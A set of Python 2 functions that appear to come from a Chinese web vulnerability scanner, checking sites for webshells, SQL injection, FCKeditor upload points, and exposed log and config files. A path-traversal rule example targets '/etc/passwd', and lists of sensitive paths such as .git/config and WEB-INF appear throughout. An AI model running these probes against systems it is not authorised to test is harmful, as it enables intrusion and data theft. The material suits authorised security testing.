def run_domain(http, ob): result = [] try: scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} http = HttpRequest({'timeout': 10, 'follow_redirects': False}) source_ip = ob.get('source_ip') site_dirs = ob['site_dirs'] if not site_dirs: site_dirs = ['/'] site_dirs = site_dirs[:10] if source_ip: domain = source_ip # # 格式化path # if not path: # path = '/' # path 为空补全/ # elif path[-1] == '/': # pass # path以/结尾不处理,包括path == '/'的情况 # else: # path 不以/结尾 # tail = path.split('/')[-1] # if re.search('\.', tail): # path 最后一截包含. 比如/test/test.php # n = len(tail) # path = path[0:-n] # 去掉最后包含.的一截 # else: # path += '/' # path最后一截不包含. 在末尾补全/ inj_path_list = [ domain, domain.split(".")[1], domain.split(".", 1)[0], domain.split(".", 1)[1], "shell", "webshell", "hack", "spy", "phpspy", "eval", "eval1", "eval(1)", "eval1(1)", "exehack", "angle", "browser", "JFolder", "a", "s", "test", "do", "1", "1(1)", "123", "12", "2016", "2017", "one" ] postfix_list = [] frame = ob.get('siteType') if not frame or frame == 'unknown': postfix_list = [".php", ".asp", ".jsp", ".apsx"] else: if "php" == frame: postfix_list.append(".php") elif "asp" == frame: postfix_list.append(".asp") elif "jsp" == frame: postfix_list.append(".jsp") elif "aspx" == frame: postfix_list.append(".aspx") for inj_path in inj_path_list: for postfix in postfix_list: for path in site_dirs: if path[-1] != '/': path += '/' new_url = "%s://%s%s%s%s" % (scheme, domain, path, inj_path, postfix) try: res, content = http.request(new_url, 'HEAD', redirections=5, headers=header) if res and res.get('status') == '200': res, content = http.request(new_url, 'GET', redirections=5, headers=header) if res and res.get('status') == '200' and content: if page_similar(res.get('status'), content, ob.get('app_404_page')): continue if page_similar(res.get('status'), content, ob.get('waf_page')): continue detail = "检测到疑似木马文件" request = getRequest(new_url, domain=ob['domain']) response = getResponse(res, content) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except: pass except Exception, e: logger.error( "File:WebShellCheckScript_yd.py, run_domain function :%s" % (str(e)))
def run_inj(http, ob, item, payloads, inj_type=None): method = item.get('method') if not method: return [] method = method.lower() if method not in ['get', 'post']: return [] params = item.get('params') if not params: return [] url = item['url'] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip url_path = urlparse.urlparse(url).path result = [] try: # get 方法 if method.lower() == 'get': query_dict = query2dict(params) for k, v in query_dict.iteritems(): query_dict_cp = deepcopy(query_dict) payload_t, payload_f = payloads if v: query_dict_cp[k] = v + payload_t else: query_dict_cp[k] = '1' + payload_t query_t = dict2query(params_dict=query_dict_cp, isUrlEncode=True) if v: query_dict_cp[k] = v + payload_f else: query_dict_cp[k] = '1' + payload_f query_f = dict2query(params_dict=query_dict_cp, isUrlEncode=True) url_t = '%s://%s%s?%s' % (scheme, domain, url_path, query_t) url_f = '%s://%s%s?%s' % (scheme, domain, url_path, query_f) res_t, content_t = http.request(url=url_t, method='GET', headers=header) res_f, content_f = http.request(url=url_f, method='GET', headers=header) status_t = res_t.get('status', '0') status_f = res_f.get('status', '0') if "ERROR型" == inj_type: res_d, db_type_d, msg_d = check_db_error(content_t) # if res_d or (status_t == '500' and not page_similar(res_t.get('status'), content_t, ob.get('waf_page'))): if res_d: detail = "检测到 %s sql注入漏洞" % inj_type request = getRequest(url_t, domain=ob['domain']) response = getResponse(res_t, content_t) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, url_t, ob['level'], detail, request, response)) else: res_s, db_type_s, msg_s = check_db_error(content_f) # if res_s or (status_f == '500' and not page_similar(res_f.get('status'), content_f, ob.get('waf_page'))): if res_s: detail = "检测到 %s sql注入漏洞" % inj_type request = getRequest(url_f, domain=ob['domain']) response = getResponse(res_f, content_f) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, url_f, ob['level'], detail, request, response)) else: similar = check_page_similar(status1=status_t, content1=content_t, status2=status_f, content2=content_f) similar_waf = page_similar(status_t, content_t, ob.get('waf_page')) if not similar and not similar_waf: detail = "检测到 %s sql注入漏洞" % inj_type logger.error( "status_t:%s, status_f:%s, content_t:%s, content_f:%s" % (status_t, status_f, content_t, content_f)) request = getRequest(url_f, domain=ob['domain']) response = getResponse(res_f, content_f) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, url_f, ob['level'], detail, request, response)) # post 方法 else: query = urlparse.urlparse(url).query body = item.get('params') # query 部分注入,body不变 if query: body_str = '' if body: body_dict = db_params2dict(body) body_str = dict2query(params_dict=body_dict, isUrlEncode=True) query_dict = query2dict(query) for k, v in query_dict.iteritems(): query_dict_cp = deepcopy(query_dict) payload_t, payload_f = payloads if v: query_dict_cp[k] = v + payload_t else: query_dict_cp[k] = '1' + payload_t query_t = dict2query(params_dict=query_dict_cp, isUrlEncode=True) if v: query_dict_cp[k] = v + payload_f else: query_dict_cp[k] = '1' + payload_f query_f = dict2query(params_dict=query_dict_cp, isUrlEncode=True) url_t = '%s://%s%s?%s' % (scheme, domain, url_path, query_t) url_f = '%s://%s%s?%s' % (scheme, domain, url_path, query_f) res_t, content_t = http.request(url=url_t, method='POST', headers=header, body=body_str) res_f, content_f = http.request(url=url_f, method='POST', headers=header, body=body_str) status_t = res_t.get('status', '0') status_f = res_f.get('status', '0') if "ERROR型" == inj_type: res_d, db_type_d, msg_d = check_db_error(content_t) # if res_d or (status_t == '500' and not page_similar(res_t.get('status'), content_t, ob.get('waf_page'))): if res_d: detail = "检测到 %s sql注入漏洞" % inj_type request = postRequest(url_t, body=body_str, domain=ob['domain']) response = getResponse(res_t, content_t) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, url_t, ob['level'], detail, request, response)) else: res_s, db_type_s, msg_s = check_db_error(content_f) # if res_s or (status_f == '500' and not page_similar(res_f.get('status'), content_f, ob.get('waf_page'))): if res_s: detail = "检测到 %s sql注入漏洞" % inj_type request = postRequest(url_t, body=body_str, domain=ob['domain']) response = getResponse(res_f, content_f) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, url_f, ob['level'], detail, request, response)) else: similar = check_page_similar(status1=status_t, content1=content_t, status2=status_f, content2=content_f) similar_waf = page_similar(status_t, content_t, ob.get('waf_page')) if not similar and similar_waf: detail = "检测到 %s sql注入漏洞" % inj_type request = postRequest(url_t, body=body_str, domain=ob['domain']) response = getResponse(res_f, content_f) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, url_f, ob['level'], detail, request, response)) # body部分注入,query不变 if body: params_dict = db_params2dict(body) for k, v in params_dict.iteritems(): params_dict_cp = deepcopy(params_dict) payload_t, payload_f = payloads if v: params_dict_cp[k] = v + payload_t else: params_dict_cp[k] = '1' + payload_t params_t = dict2query(params_dict=params_dict_cp, isUrlEncode=True) if v: params_dict_cp[k] = v + payload_f else: params_dict_cp[k] = '1' + payload_f params_f = dict2query(params_dict=params_dict_cp, isUrlEncode=True) new_url = '%s://%s%s?%s' % (scheme, domain, url_path, query) res_t, content_t = http.request(url=new_url, method='POST', headers=header, body=params_t) res_f, content_f = http.request(url=new_url, method='POST', headers=header, body=params_f) status_t = res_t.get('status', '0') status_f = res_f.get('status', '0') if "ERROR型" == inj_type: res_d, db_type_d, msg_d = check_db_error(content_t) # if res_d or (status_t == '500' and not page_similar(res_t.get('status'), content_t, ob.get('waf_page'))): if res_d: detail = "检测到 %s sql注入漏洞" % inj_type request = postRequest(new_url, body=params_t, domain=ob['domain']) response = getResponse(res_t, content_t) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) else: res_s, db_type_s, msg_s = check_db_error(content_f) # if res_s or (status_f == '500' and not page_similar(res_f.get('status'), content_f, ob.get('waf_page'))): if res_s: detail = "检测到 %s sql注入漏洞" % inj_type request = postRequest(new_url, body=params_f, domain=ob['domain']) response = getResponse(res_f, content_f) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) else: similar = check_page_similar(status1=status_t, content1=content_t, status2=status_f, content2=content_f) similar_waf = page_similar(status_t, content_t, ob.get('waf_page')) if not similar and similar_waf: detail = "检测到 %s sql注入漏洞" % inj_type request = postRequest(new_url, body=params_f, domain=ob['domain']) response = getResponse(res_f, content_f) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error("File:sql_inject_new.py, run_url function:%s" % (str(e)))
def run_domain(http,ob,inj_dir=""): ''' CVE-2009-2265 CNNVD-200907-058 FCKeditor是一款开放源码的HTML文本编辑器。 FCKeditor2.6.4.1及更早版本的editor/filemanager/browser/default/connectors/php/connector.php模块中存在文件上传限制漏洞,由于166-170行仅检查了MIME类型的上传请求,因此远程攻击者可以通过pht扩展名向Web服务器上传恶意脚本。 CVSS分值: 7.5 [严重(HIGH)] ''' result = [] try: result = [] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip inj_path_list = [ "/FCKeditor/_samples/default.html", "/FCKeditor/editor/filemanager/browser/default/browser.html", "/FCKeditor/editor/filemanager/browser/default/connectors/test.html" "/FCKeditor/editor/filemanager/upload/test.html", "/FCKeditor/editor/filemanager/connectors/test.html", "/FCKeditor/editor/filemanager/connectors/uploadtest.html", # "/fckeditor/editor/filemanager/browser/default/browser.html", "/fckeditor/editor/filemanager/browser/default/connectors/test.html", "/fckeditor/editor/filemanager/upload/test.html", "/fckeditor/editor/filemanager/connectors/test.html", "/fckeditor/editor/filemanager/connectors/uploadtest.html", ] inj_path_list_jsp = [ "/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp", "/fckeditor/editor/filemanager/connectors/jsp/connector.jsp" ] inj_path_list_asp = [ "/FCKeditor/editor/filemanager/connectors/asp/connector.asp", "/fckeditor/editor/filemanager/connectors/asp/connector.asp" ] inj_path_list_php = [ "/FCKeditor/editor/filemanager/connectors/php/connector.php", "/fckeditor/editor/filemanager/connectors/php/connector.php" ] inj_path_list_net = [ "/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx", "/fckeditor/editor/filemanager/connectors/aspx/connector.aspx" ] frame = ob.get('siteType') if frame: if frame == 'php': inj_path_list += inj_path_list_php elif frame == 'jsp': inj_path_list += inj_path_list_jsp elif frame == 'asp': inj_path_list += inj_path_list_asp elif frame == 'aspx': inj_path_list += inj_path_list_net else: inj_path_list += inj_path_list_jsp + inj_path_list_asp + inj_path_list_php + inj_path_list_net for inj_path in inj_path_list: url = "%s://%s/%s%s" % (scheme,domain,inj_dir,inj_path) res, content = http.request(url, 'GET', headers=header) if res and res.get('status') == '200': if page_similar(res.get('status'), content, ob.get('404_page')): continue if page_similar(res.get('status'), content, ob.get('waf_page')): continue detail = "检测到FCKeditor上传点" request = getRequest(url, domain=ob['domain']) response = getResponse(res,content) result.append(getRecord(ob,url,ob['level'],detail,request,response)) except Exception,e: logger.error("File:FCKeditorUploadScript_yd.py, run_domain function :%s" % (str(e)))
def run_domain(http, ob): result = [] try: scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} http = HttpRequest({'timeout': 10, 'follow_redirects': False}) source_ip = ob.get('source_ip') if source_ip: domain = source_ip # path = ob['path'] # # 格式化path # if not path: # path = '/' # path 为空补全/ # elif path[-1] == '/': # pass # path以/结尾不处理,包括path == '/'的情况 # else: # path 不以/结尾 # tail = path.split('/')[-1] # if re.search('\.', tail): # path 最后一截包含. 比如/test/test.php # n = len(tail) # path = path[0:-n] # 去掉最后包含.的一截 # else: # path += '/' # path最后一截不包含. 在末尾补全/ inj_path_list = [ domain + ".log", domain.split(".")[1] + ".log", domain.split(".", 1)[0] + ".log", domain.split(".", 1)[1] + ".log", "access.log", "application.log", "cleanup.log" "debug.log", "error.log", "errors.log", "install.log", "php_errors.log", "server.log", "system.log", "warn.log", "warning.log", "ws_ftp.log" ] dir_list = ob.get('site_dir') if not dir_list: dir_list = ['/'] for inj_dir in dir_list: if not inj_dir or inj_dir[-1] != '/': inj_dir += '/' for inj_path in inj_path_list: new_url = "%s://%s%s%s" % (scheme, domain, inj_dir, inj_path) try: res, content = http.request(new_url, 'HEAD', headers=header) if res and res.get('status') == '200': res2, content2 = http.request(new_url, 'GET', headers=header) if res2 and res2.get('status') == '200' and content2: if page_similar(res.get('status'), content2, ob.get('404_page')): continue if page_similar(res.get('status'), content2, ob.get('waf_page')): continue detail = "检测到可能含有敏感信息的文件" request = getRequest(new_url, domain=ob['domain']) response = getResponse(res2, content2) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error( "File:LogFileCheckScript_yd.py, run_domain function :%s" % (str(e))) except Exception, e: logger.error("File:LogFileCheckScript_yd.py, run_domain function :%s" % (str(e)))
def run_domain(http, ob): scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip path = ob['path'] result_list = [] task_id = ob['taskId'] # 从数据库读取task的规则列表(取除path之外的规则) # rules = [{"judge": {"similar": {"mode": "less_than", "value": 0.6}, "http_code": {"mode": "equal", "value": ["200", "999"]}}, # "inj_way": "replace", "inj_point": "", "inj_value": "../../../../../../../../../../../../../../../etc/passwd", "area": "params"},] rules = get_rules(task_id) # rule example: ''' { 'area':'query', # 注入区域 'inj_point':'(path|page|download)', # 注入点 'inj_value':'../../../../../etc/passwd', # 注入值 'inj_way':'replace', # 注入方式 'judge':{'http_code':'200','keyword':'(root|bin|nobody):'} # 判断条件 } ''' if len(rules) == 0: pass else: timeout_count = 0 for rule in rules: if timeout_count > 80: break else: n = timeout_count / 10 + 1 timeout = 10 / n method = 'HEAD' if rule.get('if_head') else 'GET' if rule.get('judge').get('keyword') or rule.get('judge').get( 'content') or rule.get('judge').get('similar'): redirects = 5 http = HttpRequest({ 'timeout': timeout, 'follow_redirects': True }) else: http = HttpRequest({ 'timeout': timeout, 'follow_redirects': False }) redirects = 0 method = 'HEAD' # start path injection try: new_path_list = path_inject(path, rule.get('inj_value'), rule.get('inj_way')) for new_path in new_path_list: url = "%s://%s%s" % (scheme, domain, path) new_url = "%s://%s%s" % (scheme, domain, new_path) # http = Http(timeout=ob['webTimeout']) try: import time t1 = time.time() res, content = http.request(new_url, method, redirections=redirects, headers=header) # # ---------- verify 404 page by lichao if page_similar(res.get('status'), content, ob.get('404_page')): continue # # ----------- verify waf page by lichao if page_similar(res.get('status'), content, ob.get('waf_page')): continue # # ----------- if rule.get('judge').get('similar'): normal_res, normal_cont = http.request( url, method, headers=header) else: normal_res = None normal_cont = None # 根据http请求结果判断是否有漏洞 judge = rule.get('judge') if result_judge(normal_res, normal_cont, res, content, **judge): response = getResponse(res, content) request = getRequest(new_url, domain=ob['domain']) detail = "注入规则:" + json.dumps(rule) ob['vulId'] = rule.get('vul_id') result_list.append( getRecord(ob, new_url, ob['level'], detail, request, response, "")) # result.append(getRecord(ob,url,ob['level'],detail,request,response,output)) except Exception, e: logger.exception( "File:rule_scan_script_domain.py,rule_id:%s , run_domain function :%s" % (rule.get('rule_id'), str(e))) timeout_count += 1 t2 = time.time() print 'timeout_count:::::::', timeout_count, t2 - t1 pass except Exception, e: # print e logger.exception( "File:rule_scan_script_domain.py,rule_id:%s , run_domain function :%s" % (rule.get('rule_id'), str(e)))
def run_domain(http,ob): result = [] try: scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} # path = ob['path'] http = HttpRequest({'timeout': 10, 'follow_redirects': False}) # 格式化path # if not path: # path = '/' # path 为空补全/ # elif path[-1] == '/': # pass # path以/结尾不处理,包括path == '/'的情况 # else: # path 不以/结尾 # tail = path.split('/')[-1] # if re.search('\.', tail): # path 最后一截包含. 比如/test/test.php # n = len(tail) # path = path[0:-n] # 去掉最后包含.的一截 # else: # path += '/' # path最后一截不包含. 在末尾补全/ inj_path_list = [ domain + ".conf", domain.split(".")[1] + ".conf", domain.split(".", 1)[0] + ".conf", domain.split(".", 1)[1] + ".conf", "common.inc", "conn.inc", "debug.inc" ".htaccess", ".git/config", ".svn/entries", "WEB-INF/classes/applicationContext.xml", "WEB-INF/classes/applicationContext-jms.xml", "WEB-INF/struts-config.xml", "_vti_pvt/service.cnf", ] php_list = [ "p.php", "phpinfo.php", "php_info.php", "user.php", "connect.php", "config.php.swp" ] source_ip = ob.get('source_ip') if source_ip: domain = source_ip frame = ob.get('frame') if frame and frame in ['jsp', 'asp', 'aspx']: pass else: inj_path_list.extend(php_list) dir_list = ob.get('site_dir') if not dir_list: dir_list = ['/'] dir_list = dir_list[:10] for inj_dir in dir_list: if not inj_dir or inj_dir[-1] != '/': inj_dir += '/' for inj_path in inj_path_list: sleep(0.05) new_url = "%s://%s%s%s" % (scheme, domain, inj_dir, inj_path) try: res, content = http.request(new_url, 'HEAD', headers=header) if res and res.get('status') == '200': res2, content2 = http.request(new_url, 'GET', headers=header) if res2 and res2.get('status') == '200' and content2: detail = "检测到可能含有敏感信息的文件" if re.search('.*?php|jsp|asp|aspx$', inj_path, re.I): if page_similar(res2.get('status'), content2, ob.get('app_404_page')): continue else: if page_similar(res2.get('status'), content2, ob.get('404_page')): continue if page_similar(res2.get('status'), content2, ob.get('waf_page')): continue request = getRequest(new_url, domain=ob['domain']) response = getResponse(res2, content2) result.append(getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error("File:ConfigFileCheckScript_yd.py, run_domain function :%s" % (str(e))) except Exception, e: logger.error("File:ConfigFileCheckScript_yd.py, run_domain function :%s" % (str(e)))